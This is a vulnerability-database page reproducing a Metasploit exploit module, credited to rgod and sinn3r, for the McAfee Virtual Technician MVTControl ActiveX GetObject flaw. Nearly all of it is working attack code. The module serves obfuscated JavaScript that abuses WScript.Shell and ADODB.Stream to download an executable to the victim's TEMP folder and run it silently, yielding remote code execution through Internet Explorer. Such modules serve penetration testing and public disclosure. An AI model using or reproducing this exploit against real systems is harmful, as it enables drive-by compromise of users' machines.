McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability

🗓️ 03 May 2012 00:00:00Reported by rgodType

packetstorm🔗 packetstormsecurity.com👁 16 Views

McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability allows remote code executio

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability",  
'Description' => %q{  
This modules exploits a vulnerability found in McAfee Virtual Technician's  
MVTControl. This ActiveX control can be abused by using the GetObject() function  
to load additional unsafe classes such as WScript.Shell, therefore allowing remote  
code execution under the context of the user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'rgod', #Initial discovery, Poc  
'sinn3r' #Metasploit  
],  
'References' =>  
[  
[ 'EDB', '18805' ]  
],  
'Payload' =>  
{  
'BadChars' => "\x00",  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "none",  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {} ]  
],  
'Privileged' => false,  
'DisclosureDate' => "Apr 30 2012",  
'DefaultTarget' => 0))  
end  
  
def exploit  
@payload_name = rand_text_alpha(rand(6) + 5) + ".exe"  
super  
end  
  
def on_request_uri(cli, request)  
agent = request.headers['User-Agent']  
  
if agent !~ /MSIE \d/  
print_error("Browser not supported: #{agent.to_s}")  
send_not_found(cli)  
return  
end  
  
if request.uri =~ /\.exe$/  
return if ((p=regenerate_payload(cli))==nil)  
data = generate_payload_exe({:code=>p.encoded})  
print_status("Sending payload")  
send_response(cli, data, {'Content-Type'=>'application/octet-stream'})  
return  
end  
  
# <object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj'></object>  
js = <<-JS  
var obj = new ActiveXObject("MVT.MVTControl.6300");  
  
var ws = obj.GetObject("WScript.Shell");  
var ado = obj.GetObject("ADODB.Stream");  
var e = ws.Environment("Process");  
var url = document.location + "/#{@payload_name}";  
var tmp = e.Item("TEMP") + "\\\\#{@payload_name}";  
  
var xml = new ActiveXObject("Microsoft.XMLHTTP");  
xml.open("GET", url, false);  
xml.send(null);  
res = xml.responseBody;  
  
ado.Type = 1;  
ado.Mode = 3;  
ado.Open();  
ado.Write(res);  
ado.SaveToFile(tmp);  
ws.Run(tmp, 0);  
JS  
  
js = ::Rex::Exploitation::JSObfu.new(js)  
js.obfuscate  
  
html = <<-EOS  
<html>  
<head>  
</head>  
<body>  
<script defer=defer>  
#{js}  
</script>  
</body>  
</html>  
EOS  
  
print_status("Sending html")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
  
end  
  
end`

03 May 2012 00:00Current

0.3Low risk

Vulners AI Score0.3